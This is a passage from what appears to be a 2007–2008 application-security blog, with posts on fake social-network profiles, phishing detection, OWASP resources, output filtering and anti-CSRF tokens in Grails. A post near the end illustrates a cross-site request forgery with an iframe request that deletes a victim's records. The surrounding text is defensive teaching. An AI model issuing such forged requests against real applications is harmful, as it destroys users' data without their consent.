This has two benefits for attackers. The first is the revenge or get-even factor. If I can falsify somebody's private life and prevent them from getting a job, promotion, or even a date, is that of value to me? Depending on the job, promotion, or date at stake, the profile stalker could gain financially - think of all the domain squatting that took place in the early to mid 90's. Will we see a similar trend in individuals to protect their "personal brand"? Will we see indie rock bands have to change their band name when a disgruntled ticket buyer makes a fake version of their site on the social networking site du-jour?

The consequences of this to the victimized person are clear. Their name has been slandered by somebody who knew enough information about the victim to make a convincing (yet false) page. They will have to take time to build a new, true identity. They will have to take the time to explain to potential employers that there's a fake out there.

But companies are at risk as well. Companies who use this practice could potentially miss the best candidates, or be relying on false information. They could get rid of the best employees by relying on information they don't know to be real. This is the same story as small town teachers getting fired because parents found liquor bottles in the teacher's trash bin on Tuesday night (whether it was put there by the teacher or not). And I don't think we know for sure there won't be litigation in early termination or whatnot because of falsified social networking information. (Most states are "right to work" states, meaning you can be fired for no reason, so the potential for this is low).

All that being said, a couple of colleagues and I came up with a new name for the vulnerability: Cross-Personality Framing Attacks or XPFA. We'll find out if the name gets any traction.

So how do ordinary users protect themselves? For those who do use social networking sites, I recommend using a different password for that site than any other, and change it frequently. Of course, I recommend this anyway. And limit the visibility of the information on the site. And don't put anything on there you wouldn't want your mom to see.

For those who don't use social networking sites (or the most popular ones), I'm not sure how much protection there really is other than claim your spot early. The problem is that you'd have to keep your profile public and up-to-date with completely benign information in order to get it linked high in search engines. Which is sad - the way to protect yourself from a fake social networking profile is to use social networking?

Perhaps the best solution for users is not to make enemies. And the best solutions for companies is to make sure they know the site is for real before trusting it.

Incidentally, I neither condone nor condemn employers using this practice. I don't necessarily like it, but in general, it is information that people want for the public to be aware of. If I were hiring somebody who had written a book, I would probably at least skim the book before hiring them. Is this that much different?

Using Web 2.0 to Identify Phishing

2008-01-09T20:10:00.001Z

noam at SecuriTeam has started an experiment with searching for a sender of an email to possibly identify spam. I had had a couple of ideas with regards to phishing (not spam in general) to help combat it, but haven't spent a lot of cycles on it.

Currently, most phishing site detection is dependent on a RBL to identify a phishing site. But botnets are beginning to be the front door into those phishing networks, so you could actually have hundreds of thousands of users follow a phishing link before the same web server is used twice. Also, because of the famous security question with the same responses as expired/mismatched certificates, the user's natural response ("Click Yes if you want to do this dumb thing") is actually the wrong one.

I had come up with a couple of anti-phishing techniques, but it would require buy-in from frequently-phished companies who wanted to cut back on their own fraud.

The first idea centered around using heuristics to determine if a site is trying to look like the victim site. If XYZ.com is the real site we're trying to lure users from, XYZ.com knows what their look and feel is - the colors they use, the fonts, spacing, key phrases they use, logos, etc. Browsers actually have enough information when rendering a site to do a lot of these heuristics. Now, when a user visits a site, and the color scheme closely matches, and there's an XYZ.com logo, and some words similar to XYZ.com, and a login form, but the host is not in XYZ.com's address space, the user is warned. Only now, since we know that the phisher was trying to lure XYZ.com customers and not ABC.com customers, we can give the user three choices: 1) Click YES if you want to go to XYZ.com (the real correct answer), 2) Click NO to do nothing, or 3) Click this "I understand this is silly and I wish to go to ECKSYZ.com" box and click You've Been Warned to go to the phishing site. It's not perfect, attackers would change just enough to go below the threshold, but depending on how much they wanted to reduce fraud, XYZ.com can change either their heuristics or the threshold score. Or the user could change the confidence level.

Another idea I bounced around with a colleague centered around using the user community to make a determination about the legitimacy of a site. If you visit a site that has a login form, the browser does a check against del.icio.us or Alexa or even Google to determine if the target site has been bookmarked before, or is highly-ranked, or if it's been searched yet. The warnings on these, unfortunately, would tend to be a little less clear. "Nobody has ever bookmarked this site, are you silly enough to be the first?" or "Hmm...this site isn't very popular - sure you want to do this?" And of course, attackers can create lots of fake social bookmarking accounts and bookmark their own phishing site.

So for you plugin developers with gobs of time, go write those so we can see how ineffective they really are.

Mozilla Prism

2007-12-27T00:55:00.000Z

Mozilla Prism is another Experiment in the Mozilla labs right now. The idea is to make desktop launchers for web-based applications where you launch a prism application, and you're in a browser totally dedicated to that application, which will provide a little better interactivity with the desktop, making web applications feel more like desktop applications.

As a security tester, I love the idea. But the one benefit I would hope to get from it (each webapp being sandboxed, so you can have multiple logins to the same application) is still on the to-do list.

That being said, didn't Java Web Start die already?

Mozilla Weave

2007-12-27T00:35:00.000Z

I certainly don't want to be a party pooper before the party even starts, and the Mozilla Security crew certainly know what to do, but even the concept behind Mozilla Weave scares me. And I suppose I'm just paranoid about the possibility of saving my personal preferences in a "cloud" anywhere.

Right now they're just designing Weave. But there are two areas of risk that need to be secured early, before they get really far into developing this:

The security of the online storage itself needs to be addressed. The results of everybody's information in one place (even discounting passwords) is very serious. The idea of a place on the internet that knows who I bank with, my social networking sites of choice, my bookmark sites of choice, my search engine of choice, the wikis I participate in, the feeds I subscribe to, and my favorite sports team really frighten me. Imagine if all this information were compromised.
The security of the API to get the information needs to be addressed. How long is the data "unlocked" (like your Keychain or Keepass safe - they lock at intervals, even while you're logged in). If I get up and walk away from my browser, how much information is available? And is this necessarily any different than walking away from an unlocked workstation when the data is stored locally? Probably - because when it's distributed, while it's not all up-to-date, there are multiple points of failure. But when it's in a cloud and centralized, can all my information quickly be altered?

I hope all my fears are wrong. I can see this being useful, based on some of the initial use cases.

Orkut Worm

2007-12-19T20:19:00.001Z

Of course, everybody who reads this will have heard about the Orkut Worm by now, but it does bring up the same usual information.

I'm not at all against Web 2.0. I'm not a gloom and doom type. Many of the ideas behind Web 2.0 are very useful and make the web something that it wasn't before. However, it seems that Google is now facing (although on a smaller scale) the same sorts of pain that MySpace had for years.

My personal opinion is that Google should have waited until they could revamp the content management of Orkut to be the same as Blogger before rolling it out. Require XML/XHTML valid syntax coming in, that can be validated against a DTD. Of course, I don't use Orkut, so I'm not positive that the initial worm didn't fit these requirements, there just wasn't sufficient attribute checking (unfortunately, the available news on the worm is really thin right now). But it appears as though this was a simple <script> tag with an external source. /sigh

For developers, let MySpace and Google be an example to you - you'd better be really certain you know what you're doing before you let users dictate look and feel.

Web 2.0 for Social Engineering

2007-11-18T23:49:00.000Z

One of the most frightening things about Web 2.0 is the type and volume of information that people are willing to publish to the general public and are willing to house in one location. While looking at some web 2.0 types of sites, you can begin to aggregate a lot of information about a lot of folks. Sometimes, used in an aggregate of the whole population this can actually be useful. For example:

80% of users on social bookmarking sites who link to site x also link to site y.
Same sort of metrics for podcast subscriptions or RSS/Atom subscriptions.

Now, when isolated to an individual user, however, the information can become somewhat damaging. Suppose as an attacker, I use a social bookmarking site to see who has bookmarks assigned for particular financial institutions. How many of them have webmail providers documented as well? And of those, how many actually use the same username on the social bookmarking site as they do on their webmail?

A few more examples:

People will put anything on social meeting sites. However, this is often being used as background check material during job interviews. And that's the side that might somehow be able to make some sort of an ethical justification for what they do (think of the small towns where they check teachers' trash for alcoholic beverage containers).
I'm no client side scripting genius, but for a popular portal site, I wrote a module in under 30 minutes which would enumerate all the other modules on the site, along with your email address, and send them to the hacker site.
Micro-blogging sites make your whereabouts available to the general public. If an attacker knows you well enough to know you keep it updated, they can plan when to visit your home.
Old-fashioned social engineering tactics such as dumpster diving are still quite effective. Coupled with internet social engineering, these attacks can be even more damaging.
There are lots of examples of social meeting websites where an attacker makes a false profile of a victim with lots of incriminating (generally false) information.
Couple all this with your spending habits on auction sites, photos of what you do on photo sharing sites, to-do lists, personal blogs, chat room transcripts, RSS/Atom subscriptions, etc., and you can really begin to profile a well-connected person.

Now, it's easy enough for attackers to steal and forge identity. But how much damage besides that could one really do to somebody they know in person? Or better yet, how much damage could one do as an educational experiment of luring a visitor on a social website to become their friend, then learn all they can about their new friend without directly asking them to give up any information?

How much information are you willing to put out there?

Other Resources You Should Use: WASC

2007-11-12T21:52:00.001Z

The Web Application Security Consortium (WASC) is a professional organization dedicated to measuring risk in web applications, and educating people in all levels of web application involvement on those risks. If you just take a look at the Officers listing, you can tell it's a very all-star cast.

Here are a few of the resources on WASC I frequent:

The WASC Threat Classification lists the common threats against web applications, although it is approached from a 100% black-box approach, so there are no generic fixes documented.
Thanks to several of the vendors backing WASC, the Security Statistics section is very valuable when trying to put together high-level justification for a security program, or to measure improvement versus the "internet norm".
The WASC Mailing List is quite active with Q and A, posts about security products, full disclosure, and discussion of specific attack vectors. If you prefer to just lurk, an RSS feed is available.
If you're in the Bay area, WASC has frequent meetups, which you can't miss if you're watching the mailing list or the news links on the WASC.

For the statistics alone, WASC is worth a pretty frequent visit. Because of vendor participation, (most notably WhiteHat Security), there are really good metrics that you can refer to for comparing measurements.

Teaching Without a Net

2007-11-09T01:31:00.001Z

A post I still haven't put on here is an amazing offer and opportunity that I've gotten locally to help in a classroom, and a few more really good professional connections. Tonight was the first opportunity I've had meeting with the class to actually demonstrate anything.

For a group of students who are learning cyber-defense, they're learning attacking. While most application hacking you can only learn by doing, I was asked to at least demonstrate first. In my professional career, I've enumerated a lot of databases by injection attack, but oddly have never had an opportunity to use SQL injection to enumerate an entire MySQL server. I deliberately didn't try much attacking on the application before the class, I just verified that there were holes to work with - I think the thought process is every bit as important as the specific techniques.

I know, it was nothing shocking, but I thought it was a nice touch to try to do something in a classroom that I had never specifically done. I've enumerated db's with injection attacks, but not mysql.

And completely off-topic, kudos to pdp for the find on jar url attacks. very slick stuff. Any site that receives uploads of anything in a ZIP format (meaning, almost any kind of archive, including OpenOffice document, JAR, ZIP, blah, blah) becomes a cross-site scripting host - and the script runs in context of the server hosting the jar.

No-Tech Getting Hacked

2007-10-16T13:10:00.000Z

While Johnny Long's talk about No-Tech Hacking at BlackHat and Defcon 15 was very informative (don't make things too hard on yourself), sometimes carrying around a camera, building trojan horses, or paying cash to a local thrift store for a 2.99 USD cable box is a little more work than you really want to go through. I'd like to introduce you to no-tech getting hacked.

Colleague is very particular about the computing environment at home. The "family computer", nobody runs as root, is frequently re-imaged, has quite a few best practices for keeping it safe, and it does not have any sensitive information. The family knows not to click links from emails, be careful where you visit, the whole nine.

Well, Student (a family member of Colleague) is beginning to apply for colleges. College applications are expensive to fill out (I think it was about 50-75USD at a lot of places last time I looked), and depending on scores or interests, you might get little favorable response from them.

The other night, Colleague got a phone call from University, asking to speak with Student. Student goes on the call, and Colleague goes about some other work. 20 minutes later, Student emerges, full of pride that Student had just completed a college application. Without having to pay for it. For free. Over the phone. Not only that, but the caller ID said local directory assistance. But the college was in a different state. Student didn't ask for a callback number or any way of verifying the recruiter was indeed from University. Whatever information the caller didn't have about Student before, they certainly have now. (I believe Colleague is now in the process of filling out the paperwork for having Student's name changed to Undercover).

Sometimes you have to look for it. Sometimes, it looks for you.

Other Resources You Should Use: OWASP

2007-10-12T01:47:00.001Z

There are certainly a ton of security resources out there, and I don't do a sufficient job of sharing the excellence of these with you. I suppose a large number of my readers (er - subscribers) are actively involved with any of the groups I might mention in these other resources, but for those who aren't familiar with them (and I'm certainly not as familiar with them all as I ought to be), I'll begin to start giving a list of resources that you as a security professional or security conscious application professional should be aware of.

The first is probably the most obvious. The Open Web Application Security Project (OWASP) is most well-known for their Top Ten, the 2004 edition which is section 6.5 of PCI). But OWASP has many more resources available to you. A lot of good code comes from OWASP, and a lot of good documentation.

Some of the highlights:

OWASP Top Ten. Everybody knows the 2004. Learn the 2007.

Reform an excellent encoding library for Perl, Java, Python, PHP, .NET, and on and on - not just your mama's HTMLEncode() or <c:out />

Sprajax which is certainly in its infancy, and will hopefully fill out some as a good ajax fuzzer

OWASP Testing Guide if you want to have a standard testing methodology, but don't know where to start, a good place to start.

CLASP is gaining a lot of traction in the industry. Again, if you want to use the work of others in figuring out how to implement security earlier in your lifecycle, a group of others like you have been documenting a way (certainly not the only way) to get things adopted.

Local Chapters if there's a local OWASP chapter, get involved. Join the mailing list. Go to the meetups. Meet other security professionals in the area who speak your language and are facing the same challenges you are. Don't do your work in a vacuum.

Blogs (particularly Dinis Cruz)

OWASP is made up of volunteer folks who want to see applications get more secure who are much like you are. They've been around for quite awhile, have a season of code from time to time, from which good libraries and tools come, and is an excellent resource for folks new to application security, developers trying to make things more secure, and professionals trying to standardize on processes.

Some Things are Easier to Fix than Fight

2007-10-12T01:25:00.000Z

I posted some time back about how some things are easier to fix than find. That's particularly true of application testing. It's difficult to know if you've reached every case, every role, every permission set, every set of circumstances to cover the entire application. Sure, you can know how many form elements there were and if you tested every one, or if you tested every submission or query circumstance, but that's only of what you were able to crawl.

All that being said, when doing static analysis, sometimes it's easier to fix problems than to fight them. Developers understandably are very defensive of their work. They take pride in what they do, and while most accept constructive comments from one of their kind, it's certainly very difficult for them to take arguments from a "security specialist" about how they wrote their code wrong. I suppose professional athletes are good examples - when criticized for making mistakes during games by the media, athletes (and coaches) frequently respond with a type of remark that should the roles be reversed, the media folks wouldn't make any better decision.

So when you're armed with only a static analysis, which really only has theoretical findings, not validated findings, it's not unusual to get some push back. "That couldn't really happen", "we don't allow that type of interaction", "you can't prove that", or some version of "you don't understand our code". I'm sure these all follow The Five Stages of Application Security Grief, but when you witness them all at once, the distinct stages are sometimes hard to identify.

So what's a "security professional" with "no understanding of our code" to do? Well, you have a few options. You could just ignore your customer and hope the findings really are bogus. Meanwhile, they'll continue making the same bad mistakes in other applications (and probably write books about it). Or you could continue in a futile screaming match about who's right. Maybe the one who can yell the longest will win. Or maybe, if you really do understand their code, you could provide simple solutions to their problems. It's sometimes even faster to write a solution to a theoretical problem than it is to argue the point over whether the problem is theoretical or actual.

Now, I understand that nothing goes directly from concept to production, but it might just be a step to bridge that gap between "just security professionals" and application experts. Meaning, you might just show that you're "one of them" after all.

Allowing Script and HTML Content from untrusted sources

2007-10-01T16:50:00.000Z

I think I've said a billion times that the MySpace model of allowing HTML and/or script is an exception, not a rule. However, it seems the exceptions are getting more and more prominent as businesses are driven to allow dynamic content from their customers in order to help the company's bottom line.

A colleague today asked me (without reading here first - shame, shame) how a company he is helping could allow markup and script, but not allow just any old markup or script. Of course, my first response is "why?", but I keep that to myself. My second response is always very aggressive white-listing of what you believe is acceptable.

I think the colleague has pretty well told their customer that starting with XHTML and a restrictive DTD (or even better, XML-Schema or RelaxNG) will be the most beneficial starting place. This way, you can rely on the schema and your really excellent processor to define what is and isn't allowed. Granted, you'll have to not allow entity definition and other things that could potentially cause XML processing DoS's. But then you're left with a whitelist of the types of tags available.

Once you have a really scaled-down, well-defined list of what is allowed, you can then go through attributes and perform additional whitelisting. Suppose we don't allow javascript in href's on attributes - we can just check the href attributes in the DOM (we know we have a valid DOM and a finite set of attributes to test since it passed the schema), and verify that they all begin with http:// or https:// . Img tags would work similarly.

For those things that do need scripting, you define new sets of tags. This is not dis-similar to Blogger's plugin model. They allow scripting, but they control the script - you have to put script in by using their pre-defined plugin tags, which use (probably) an XSLT to translate that to script they can deal with.

It's not going to be without work, but I think my colleague is going to be able to propose a solution to their customer that will be quite secure, and still give the clients the control over their content they crave. Thanks be to Blogger for the model. Blogger is certainly not the only site that operates this way, but it beats the myspace model - allow anything until a worm starts, then disallow the exact vector that created the worm.

Seems this is precisely what XML and XSLT were invented for...

Groovy Monkey and Syntax Checking

2007-09-21T23:03:00.001Z

Groovy Monkey is an Eclipse plugin which allows you to quickly script plugins for Eclipse. While I'm not that interested in making a whole bunch of plugins for Eclipse, I can see how this can be useful. I've found it, so far, to be very handy for doing quick syntax checks on code. The better static analysis tools out there do data flow analysis to reduce the potential of false positives (er - non-exploitables), but I like to be a lot more strict. There are some things that almost always end up being dangerous, but those constructs won't end up in a static analysis. If you're trying to convince people to always use <c:out />, then <%= shouldn't be used. So just messing with the example script gives me the ability to add that little check.

Next I'll add in checks for potentially bad data access mechanisms (createStatement, executeQuery(String), etc.) just for flagging for the developer to keep an eye on. The beauty of this is that the results end up in My Tasks instead of some separate perspective.

And yes, for anything but the <%=, I could just write a semantic rule, but this will end up in my task list, and is generally far quicker.

Evil Mashup

2007-09-18T20:04:00.001Z

Now, neither of these services by themselves are evil, but I was thinking about setting up a new kind of mashup for collecting sensitive information - more like trade secret kind of stuff.

scanR and qipit are service where you use your phone to take a picture of something you need to pass through OCR. You use your phone to send the bits to the provider, who then does OCR on it, then they email you a PDF of the results. They recommend doing this for things like meeting notes on a whiteboard. Doing something like this is every bit as dangerous as putting sensitive business documents on Google Docs - why would you want to do it? Well, services like that depend on people who just assume they're trustworthy. Now, these services may or may not be completely trustworthy and secure from outside attack - but that's not the point.

Combine that with something like reCAPTCHA, and now you've got something really powerful. Use the reCAPTCHA model of displaying two images, the user solves both of them, and they solved OCR for your sensitive data mining operation. Human handwriting is pretty hard for a computer to work out, but a humans can generally work out the meaning of sloppy writers by using context.

Some Things are Easier to Fix than Find

2007-09-11T23:45:00.000Z

Okay, I've not gone off my rocker. It's almost true.

When performing an application test, you might not find every single instance of a particular vulnerability. Due to time, tool, or other resource constraints, some things simply slip through the cracks. A common response to this is to enumerate all of them that were found with a great big note to the developers that this is a pervasive issue, and that a global policy needs to be adopted to fix them all. And of course, there's always the pushback - "we'll fix exactly the instances you find."

This is where I think "old school" static analysis far outshines the new fangled static analysis engines. With a really good developer, grep, and a hammer, fixing semantic flaws really comes down to a few short steps:

Identify the common idioms used that result in "bad things". These will differ from environment to environment, which is why you have the sharp developer. Some examples:

<%= %> tags
Connection.createStatement()
.exec()

Grep the entire source tree for those idioms.
Replace. The examples above become:

tags (in Java. And I realize there are other things you need to do to make that work)
Connection.prepareStatement() and PreparedStatement.set...()
Get rid of it

Again, that's a really, really broad strokes example. But although a lot of shops use bad API's, they use them in a way that's consistent. So the replacement is consistent. And it's quicker to grep for those cases than it is for an assessment team to perform a complete deep dive on every single form element and known values that go into the application. It's next to impossible to cover every edge case in a running application. Tthere are tools that can help you do that, but they're not free, and you still have to perform all the assessment work to determine that it was covered. Why not just understand the set of API's generally used, fix those, then do a good code review on the remainder, possible uncovering some additional API's that can be grep'ped.

Full-Disclosure Paper Edition?

2007-09-04T22:20:00.000Z

While the cats over at sla.ckers (and others) do a great job of finding real vulnerabilities in real applications, we don't actually spend much time calling out book authors for the same.

A couple of guys had a presentation at a recent conference (I won't mention names because they certainly weren't the first to call out a book for telling people to do stuff in a silly way) where they followed design patterns from books on web application coding and ended up with a really horrible (in terms of security) application. They were gutsy enough to name the books they used for the design patterns. But this is really rare.

It seems that while we want for developers to be trained as real engineers who apply real engineering and computer science principals to problems, many developers writing real-world, high-visibility applications were mostly trained from bad tutorials on the internet and books at the local bookstore.

I churned on the idea of setting up a full-disclosure paper edition website, modeled after the other full-disclosure sites, but then there are issues with copyright violation and such - whereas with reporting web vulnerabilities is mostly a question of ethics, I think full-disclosure in a paper edition would be a question of copyright issue and legality. While I'm all for publishers and authors being accountable for the material they publish (hey, bloggers too - call me out when I'm wrong), I can't in good conscience stand up a site that I don't know the legality of the material that would end up on it.

That being said, do we take programming examples with a grain of salt? Do we look at them with the same scrutiny as we do the sites themselves? Where a single vulnerability on a single website is genuine, it's also one person's mistake in the end result. But flaws in books are by people who claim to be experts in the field of development, published by publishers who vouch for the authenticity of that expert opinion, fool users into believing that the book indeed tells the right way to do something.

Is this all a result of the internet, where niche experts are considered authoritative on more subjects than they ought? Where somebody writes a few blog posts on a subject and are "discovered" by a publisher who needs to get some print out in that niche market? If that's the case, how do we convince developers to use a greater level of discernment when they do that google to figure out how to use a new API?

I've Said it Before, but...

2007-08-23T23:19:00.001Z

Now, ordinarily, I hate screen-scraping. If there's any other way to get the raw data, I go there first. I go through whatever (ethical) channels necessary to get direct access to the source data, whether it be in a relational database, LDAP, XML, straight text, spreadsheets, or made up out of nowhere. I can't stand screen-scraping because screen-scraping is normally very sensitive to change. Screen-scraping HTML is not generally as bad as telnet or green-screen, but it's still bad enough that I try to avoid doing it - particularly when the HTML is malformed.

But today was another occasion where it was necessary simply because I couldn't get access to the systems I needed in the timeframe I needed. What would have made this one more difficult is that the source HTML had very few line breaks to do text parsing, and the HTML was also not properly XML formatted, and to boot, was poorly-enough HTML formatted that an event-based HTML parser simply wasn't going to work out.

Fortunately, I've done a little screen scraping with Groovy before, and this task wasn't significantly more difficult than other tasks I've done before. And again, NekoHTML came to the rescue. NekoHTML takes poorly-formatted HTML code (in this case, really poorly formatted) and balances unbalanced tags (had plenty), closes unclosed tags (had many), quotes unquoted attribute values (lots of those today), and gives sensible default values to un-valued attributes (and a bunch of those, too). What results is actually well-formed (not necessarily validating, but well-formed) XML, which you can parse with any ordinary XML parse.

In this case, I used XmlParser, which allows me to do very nice GPath queries. GPath works similarly to XPath, but allows you to find really complicated paths. For example, in English, "find me the text in all the <strong< tags that are under <a> tags such that their 'href' attribute matches this regular expression." In an event-based parser, that would take a lot of work, in DOM it would be easier, but still a lot of code, and the XPath would just be nasty. In GPath, it looks like this:

texts = page.depthFirst().A.grep { it.'@href' =~ /^.*\.action\?foo=(.*)$/ }.collect { it.value.STRONG.value }

Which is much fewer lines of code.

Now, what does this have to do with application security? For those who do black-box testing, there are times that your toolkit doesn't quite have enough in it. Your proxy is powerful, but just won't get you all the values you need. If there are special considerations you need to take in order to try brute-force authentication, or if you've found a good SQL injection attack, but the way the data comes back is finicky, scripting is often appropriate. So if you're looking for another swiss-army knife, some (understandably) are still Perl enthusiasts, (understandably) happy with Python, (understandably) infatuated with Ruby, but so far, Groovy has really been doing good work for me.

That being said, the GPath statements aren't specific to HTML - GPath works with XML, which is why you might need NekoHTML. And NekoHTML isn't specific to Groovy - it's a java library, so you can use it with your other java code and use whatever XML handling you prefer.

Content Restrictions - A Call for Input

2007-08-12T17:00:00.000Z

RSnake has had several conversations with the Mozilla team on some security features he would like to see, and the one they've latched onto is Content Restrictions. The idea is that a site can tell your browser "I only serve these types of content, don't accept anything else from me" RSnake has asked folks to provide their input on what they'd like to see.

Here's how I'd like to see that pan out:

The content-type restrictions probably should not go into an XML file, or the browser should have serious restrictions on the XML, such as not expanding entities, etc. If I can't trust the site for some reason, how am I to trust that the XML won't DoS my browser?
The content-type restrictions should probably come in headers (a la Etag's), not on a file on the root of the site (a-la robots.txt), because the restrictions may be different in different paths of the site - consider a single host that hosts several applications, each of those may return different types of content. This would also give applications the ability to dynamically change those restrictions (unfortunately, if there's header injection or response-splitting, the attack can certainly mangle these responses as well).
If I can tell a browser only to trust me so far, it would be wonderful to be able to extend this even further. For example: don't trust 302's from me that take you out of my domain (WOW!), don't send back any requests to me that wouldn't also send Cookie n. Only POST to me if post parameter n is included, don't ever GET, HEAD, TRACE, to these paths - only POST.

And then this is off the topic, but one feature I'd love to see is for the Yes or OK button to default to doing the right thing. For example, if a site has an expired certificate, if you click Yes, Yes means to do the very bad thing we just told you not to. Anti-phishing says Click Yes to visit this naughty site we've already determined is naughty. If they know it's naughty, they know what it's trying to spoof, so make Yes take you to the real site, not the fake one.

Be sure to send your input to RSnake.

More on Output Filtering

2007-08-11T00:09:00.000Z

Another one of the Justice League guys has posted about the value of output filtering. Now, the people at Cigital are uber smart - not because they're blogging about output filtering, but because they actually look at code from a very academic perspective. If you're not reading Justice League, you should be.

Now, I'm not sure I've ever said that you shouldn't do input validation. I hope I never have, and if I have, I apologize for leading you astray. However, the phrase I've been using in reporting for some time is "business-rule input validation, presentation-specific output filtering". A favorite line of a favorite movie of mine (PCU) is when Gutter is going to see George Clinton, and he's wearing a Funkadelic shirt:

Droz: What's this? You're wearing the shirt of the band you're going to see? Don't be that guy.

While I understand the desire to prepare data early (when it comes in), you've already manipulated it to be improper in some other context. For example, if you HTML encode data when it comes in, a month from now when you're using it in a PDF, your customers will complain about all these < in it.

And the very best thing about output filtering is that it can be a habit. Scott hit the nail on the head in his post - the way that you properly get input squared away varies all the time, but output filtering for each presentation layer is always the same. In HTML/XML, using .encodeAsHTML() or <c:out /> or Server.HTMLEncode becomes a habit, just as much as the style guides you expect your developers to adhere to. And it's something that can be checked with a couple of regex's, instead of a really expensive tool (not that those really expensive tools aren't good for other things).

Thoughts on QA Security Testing

2007-08-08T14:38:00.000Z

In several different contexts, I've been involved in conversations concerning testing for security defects in QA. Here's my take on it.

Remember that I'm a fundamentalist. I love the American League (the Senior Circuit), but hate the DH. I believe engineers should be trained in securing, but not hacking, and I believe that coders should be trained in coding correctly, but not security. I know those sound shocking to people who are experts in security, but there's nothing different about eliminating an injection attack than there is in ensuring that the new presentation layer doesn't barf.

That being said, I don't think QA testing needs to do security testing. They do need to perform "out of bounds" testing, however. QA groups generally take the functional requirements of the application, and test to ensure that all of the functional requirements are met, but they don't test to ensure that things outside the requirements are properly handled. For example, if a field is supposed to be non-blank, alpha-numeric characters, with a maximum length of 20, they will make sure that when non-blank, alpha-numeric characters numbering fewer than or equal to 20 are entered, they do not cause the application to barf. They generally don't test to ensure that more than 20 characters cause a proper warning, or that non-alpha, non-numeric characters don't cause an application failure.

Even with a stored cross-site scripting vulnerability, a proper functional test will actually reveal that the later-rendered pages don't render properly - this is assuming you have proper functional tests. But it will also reveal when the input validation and output filtering techniques being employed aren't working - which are the real core to stopping the various types of injection attacks.

I am not advocating that later security testing be eliminated. Nor am I advocating that your developers not perform static analysis. I'm just advocating that QA groups begin testing for things that are outside the functional requirements to determine that the application fails gracefully, and that they report anything suspicious back to the development team. In order for this to work, it's critical that your functional requirements be very specific about what is allowed, and that the QA testing not only ensures that what is allowed works, but that things outside the allowed range don't work. We still need security experts to engineer the application properly and to do real security testing for logical flaws (and yes, the few semantic flaws that will fall through the previous steps) after a proper code/QA/rinse-repeat cycle.

Radeox Wiki Rendering

2007-08-08T02:17:00.000Z

My apologies if the link doesn't work.

In previous posts, I made a recommendation that you use a wiki markup library as an alternate method to allow your users to enter formatted text instead of HTML, in order to reduce the possibility of cross-site scripting. And I mentioned that I did a cursory look for one and couldn't find one.

So I did another search tonight, and Radeox, has been made a separate library from SnipSnap. And to further add to my excitement, there's already a plugin for it for Grails. The plugin comes with example domain classes, controllers, and views for an uber-simple wiki. But you don't have to use it for a Wiki - you could certainly use it for just more simple rich-text editing.

Now, it appears that SnipSnap development has stalled (stopped) and the one viable fork has very little available other than some initial mods in subversion, but nothing on Sourceforge, and no real momentum (yet). If that's the case, (the SnipSnap folks say this shouldn't be the case), that might explain why Radeox's site is not responding for now. I hope this doesn't go away.

I would like to be able to snap a WYSIWYG editor into Radeox, but the one open source WYSIWYG editor that's not wired into an existing project is FCKEditor, but it doesn't appear you can change what the markup is - it's only HTML, which would require you to expect XHTML in order to do really good input validation to ensure that no scriptable attributes are included (not only event handlers, but styles that allow javascript, etc.).

So take a look at the Radeox plugin for Grails, and hopefully somebody with some time will begin to pick up Radeox and or SnipSnap again.

Black Hat/Defcon Wrapup(s)

2007-08-05T01:27:00.000Z

As will most people who went, I'll be putting up a few of the interesting things that happened this week at Black Hat and Defcon. Here's a teaser of what I had the best time with:

Jeremiah Grossman and RSnake's presentation on Hacking Intranet Apps
Eugene Tsyrklevich and Vlad Tsyrklevich's prsentation on OpenID
Major Malfunction's presentation on RFIDiots
Iron Chef Black Hat by a slew of folks from Fortify Software
Patrik Karlsson's presentation on SQL Injection and OOB channeling
Zac Franken's presentation on hacking your access control reader

All in all, it was a good week. Back again for more Defcon tomorrow, then back home. If there's anything I learned this week, it's that I still have a lot to learn. And I think I like being on the solution side of the coin more than being on the problem side of the coin.

Finally, somebody sees it my way

2007-08-04T14:37:00.000Z

Okay, Pravir had the idea all on his own. But this is the soapbox I almost constantly stand on when it comes to security.

If you don't want to read the article, the gist is that if you're depending on input validation to fix your semantic flaws, you're missing a great deal of the application where the data bounces around and could potentially get re-broke. And that you potentially end up denying characters that are really legitimate in some context, just not one.

Now, I know Pravir is running the CTF competition at DEFCON, which makes me wonder why he had this post yesterday. Either he has a bunch of them queued and set to go, or he's listened to so many speakers say that something is a problem and the way to fix it is to do better input validation.

Adding a Request Token for RemoteField

2007-08-02T14:19:00.000Z

I've been writing a 15 minute expense tracker in Grails, and it was done in 8 minutes, but I've been spending little snippets of time improving it since that initial 8 minutes. After some of the discussions at BlackHat, I decided I'd try to start making some posts on how to do some things more safely in Grails.
The RemoteField Tag in Grails is uber-easy to use, you give it something like the following:

<g:remoteField name="description"
value="${expense?.description}"
action="updateDescription"
id="${expense?.id}"
update="resultdiv">

The problem is that with all the default documentation, there are two problems with this - key exposure, so you have to check this user's permission to edit the specified object, and XSRF. This isn't a problem with the tag, it's a problem with the easy way of doing things in Grails - and this is identical to Rails. An ordinary CRUD call in [Gr|R]ails makes a URL like http://host/<app>/<controller>/<action>/<id>, and the ID is available as params.id. And that ID is (under normal scaffolding), the primary key of the domain object in question. So an attacker just needs to put on their site an iframe that makes the user do something like http://victim/app/epxense/delete/382, and if there's no permission checking, it goes bye-bye.

Adding a level of indirection to keep the PK in the session and then meaningless ID's on the URL won't solve this because an attacker can just make a user delete all their own entries, etc. So you have to use a token that proves the user visited the page first, and making the user solve a new CAPTCHA for every keyup is silly, right?
So generally, what you see is a hidden form element with a long random token that is also stored on the session. When the form goes back, the two tokens are compared to (somewhat) guarantee that the user was on the correct "setup" page before coming to the submission form.

I started down a handful of paths, and the following were less than elegant:

Altering the remoteField itself was less than ideal because you would actually have to add several attributes to the tag to determine how you wanted to deal with the token - do you want to use the same token for all elements on the page? Do you want to use a different token for each element? What do you want to name it? Those decisions have to be carried across to the action that gets called by the remoteField as well.
Actually replacing the id attribute with the session token actually worked, but only for one field on one form. If you wanted to do this in several places, because you've abstracted the id out, you'd have to make changes to a lot of existing scaffolding to get it right.
One thing I didn't try was keeping the id's from a list() closure in session, keyed by new tokens generated for each one. This would take quite a bit of work, but would also remove some key exposure at the same time - as long as you don't use the tokens in the session to order by. This would also allow you to add token checking as part of a beforeInterceptor because then the keys are the token ID's.

So I ended up with two methods that ultimately worked pretty well.

The first method is to use the paramName attribute of the remoteField tag. If you don't specify the paramName, the value that gets passed back will be with the request attribute "value". So the post parameter looks like "value=The+new+value". When I first put the tag together, I had no compelling reason to use anything other than "value" as the name, so I used this to hold the token:

<remoteField name="description"
value="${expense?.description}"
id="${expense?.id}"
update="statusdiv"
paramName=${token}">

Then in the controller:

if (! params[session.token]) {
